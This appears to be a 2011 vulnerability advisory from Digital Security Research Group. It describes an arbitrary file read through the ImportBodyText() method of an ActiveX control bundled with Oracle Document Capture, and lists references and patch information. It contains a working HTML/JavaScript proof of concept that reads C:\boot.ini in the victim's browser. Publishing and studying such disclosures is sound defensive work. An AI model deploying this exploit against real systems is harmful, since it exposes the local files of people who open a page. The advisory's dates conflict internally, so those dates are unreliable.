Oracle Document Capture Insecure READ Method

2011-01-2500:00:00
Sh2kerr
packetstormsecurity.com
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Digital Security Research Group [DSecRG] Advisory DSECRG-11-007 (Internal #DSECRG-00117)  
  
  
Application: Oracle Document Capture   
Versions Affected: 10.1350.0005  
Vendor URL: http://www.oracle.com/technology/software/products/content-management/index_dc.html  
Bugs: Insecure READ method  
Exploits: YES  
Reported: 29.01.2010   
Second report: 02.02.2010   
Date of Public Advisory: 24.01.2010   
CVE: CVE-2010-3595  
Authors: Alexey Sintsov  
by Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)  
  
  
  
Description  
***********  
  
EasyMail ActiveX Control (emsmtp.dll) that included into Oracle Document Capture distrib  
can be used to read any file in target system. Vulnerable method is "ImportBodyText()".  
  
  
  
Details  
*******  
  
For example if you enter filename "C:\\boot.ini" in "ImportBodyText" method then control will   
open and read file "C:\boot.ini". Content of boot.ini will be loaded into property "BodyText" .  
  
  
Class EasyMailSMTPObj  
GUID: {68AC0D5F-0424-11D5-822F-00C04F6BA8D9}  
Number of Interfaces: 1  
Default Interface: IEasyMailSMTPObj  
RegKey Safe for Script: True  
RegKey Safe for Init: True  
KillBitSet: False  
  
  
  
Example:  
*******  
  
<HTML>  
<HEAD>  
<TITLE>DSECRG</TITLE>  
</HEAD>  
<BODY>  
  
<OBJECT id='ora' classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'></OBJECT>  
  
<SCRIPT>  
  
function Exploit(){  
ora.ImportBodyText("C:\\boot.ini");   
document.write("Try to read c:\\boot.ini:<br><br>"+ora.BodyText);  
}  
Exploit();  
  
</SCRIPT>  
</BODY>  
</HTML>  
  
  
  
References  
**********  
  
http://dsecrg.com/pages/vul/show.php?id=307  
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html  
  
  
  
  
Fix Information  
*************  
  
Information was published in CPU Jan 2011.  
All customers can download CPU patches following instructions from:   
  
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html  
  
  
About  
*****  
  
Digital Security:   
  
Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.  
  
Digital Security Research Group:  
  
International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.  
  
  
Contact: research [at] dsecrg [dot] com  
http://www.dsecrg.com  
http://www.erpscan.com  
  
  
  
  
  
  
Polyakov Alexandr. PCI QSA,PA-QSA  
CTO Digital Security  
Head of DSecRG  
______________________  
DIGITAL SECURITY  
phone: +7 812 703 1547  
+7 812 430 9130  
e-mail: [email protected]   
  
www.dsec.ru  
www.dsecrg.com www.dsecrg.ru  
www.erpscan.com www.erpscan.ru  
www.pcidssru.com www.pcidss.ru  
  
  
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`
0.537 Medium
EPSS
Percentile
97.3%
JSON
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